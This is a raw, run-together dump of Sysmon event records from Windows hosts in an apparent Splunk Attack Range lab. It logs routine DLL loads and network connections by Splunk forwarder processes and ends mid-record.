15:04:18.402{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=EC61DCB573CF1BF11977C8EB7663F027,SHA256=C6FD8E81F9916C76B61AB2C6AB709FB0C9788D1638E10AE083D49C0D0E9CE6A1,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000054155Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:18.232{7BD73061-73F1-613B-860B-00000000F001}6416C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 734700x800000000000000054154Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:18.216{7BD73061-73F1-613B-860B-00000000F001}6416C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000054153Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:18.216{7BD73061-73F1-613B-860B-00000000F001}6416C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 354300x800000000000000054152Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:15.628{7BD73061-65AD-613B-0100-00000000F001}4SystemNT AUTHORITY\SYSTEMtcpfalsetruefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local63100-truefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local445microsoft-ds 354300x800000000000000054151Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:15.628{7BD73061-65AD-613B-0100-00000000F001}4SystemNT AUTHORITY\SYSTEMtcptruetruefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local63100-truefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local445microsoft-ds 734700x800000000000000054150Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:18.002{7BD73061-73F1-613B-860B-00000000F001}6416C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000054149Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.986{7BD73061-73F1-613B-860B-00000000F001}6416C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000054148Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.986{7BD73061-73F1-613B-860B-00000000F001}6416C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 23542300x800000000000000017397Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:19.735{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7D5ECF18AAEA7C4DB8066A1D133CF006,SHA256=AA54D853D5872356AFFC196AD61ACBFE88E67FA7D4FDF789185980929125E822,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000054264Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.475{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63101-false10.0.1.12-8000- 23542300x800000000000000054263Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:19.707{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7772F2CCBB010B8846114D03EE8625F1,SHA256=495D3D723DE91B8E0A195F86DA7F792F06B79E326F3CCA5C98886B1A0DB2853C,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000054262Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:19.707{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=334E8B6793A7ECDA52FFDDE6C872D174,SHA256=61DD489B971A619818DA2B0F1935AC1ABAE87F3C24142DE9A2448936C7B5A29C,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000054261Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:19.582{7BD73061-73F3-613B-880B-00000000F001}2396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 10341000x800000000000000054260Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:19.582{7BD73061-73F3-613B-880B-00000000F001}2396992C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000054259Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:19.581{7BD73061-73F3-613B-880B-00000000F001}2396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000054258Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:19.581{7BD73061-73F3-613B-880B-00000000F001}2396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 734700x800000000000000054257Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:19.386{7BD73061-73F3-613B-880B-00000000F001}2396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000054256Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:19.386{7BD73061-73F3-613B-880B-00000000F001}2396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000054255Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:19.386{7BD73061-73F3-613B-880B-00000000F001}2396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000054254Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:19.386{7BD73061-73F3-613B-880B-00000000F001}2396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000054253Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:19.386{7BD73061-73F3-613B-880B-00000000F001}2396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000054252Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:19.386{7BD73061-73F3-613B-880B-00000000F001}2396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000054251Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:19.386{7BD73061-73F3-613B-880B-00000000F001}2396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000054250Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:19.386{7BD73061-73F3-613B-880B-00000000F001}2396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000054249Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:19.386{7BD73061-73F3-613B-880B-00000000F001}2396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000054248Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:19.386{7BD73061-73F3-613B-880B-00000000F001}2396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000054247Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:19.386{7BD73061-73F3-613B-880B-00000000F001}2396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000054246Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:19.386{7BD73061-73F3-613B-880B-00000000F001}2396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000054245Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:19.386{7BD73061-73F3-613B-880B-00000000F001}2396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000054244Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:19.386{7BD73061-73F3-613B-880B-00000000F001}2396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000054243Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:19.386{7BD73061-73F3-613B-880B-00000000F001}2396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000054242Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:19.386{7BD73061-73F3-613B-880B-00000000F001}2396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000054241Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:19.386{7BD73061-73F3-613B-880B-00000000F001}2396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000054240Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:19.386{7BD73061-73F3-613B-880B-00000000F001}2396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000054239Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:19.386{7BD73061-73F3-613B-880B-00000000F001}2396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000054238Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:19.386{7BD73061-73F3-613B-880B-00000000F001}2396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000054237Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:19.386{7BD73061-73F3-613B-880B-00000000F001}2396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000054236Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:19.386{7BD73061-73F3-613B-880B-00000000F001}2396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000054235Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:19.386{7BD73061-73F3-613B-880B-00000000F001}2396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000054234Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:19.386{7BD73061-73F3-613B-880B-00000000F001}2396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000054233Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:19.386{7BD73061-73F3-613B-880B-00000000F001}2396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000054232Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:19.386{7BD73061-73F3-613B-880B-00000000F001}2396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000054231Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:19.386{7BD73061-73F3-613B-880B-00000000F001}2396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000054230Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:19.386{7BD73061-73F3-613B-880B-00000000F001}2396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000054229Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:19.386{7BD73061-73F3-613B-880B-00000000F001}2396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000054228Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:19.386{7BD73061-73F3-613B-880B-00000000F001}2396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000054227Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:19.386{7BD73061-73F3-613B-880B-00000000F001}2396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program 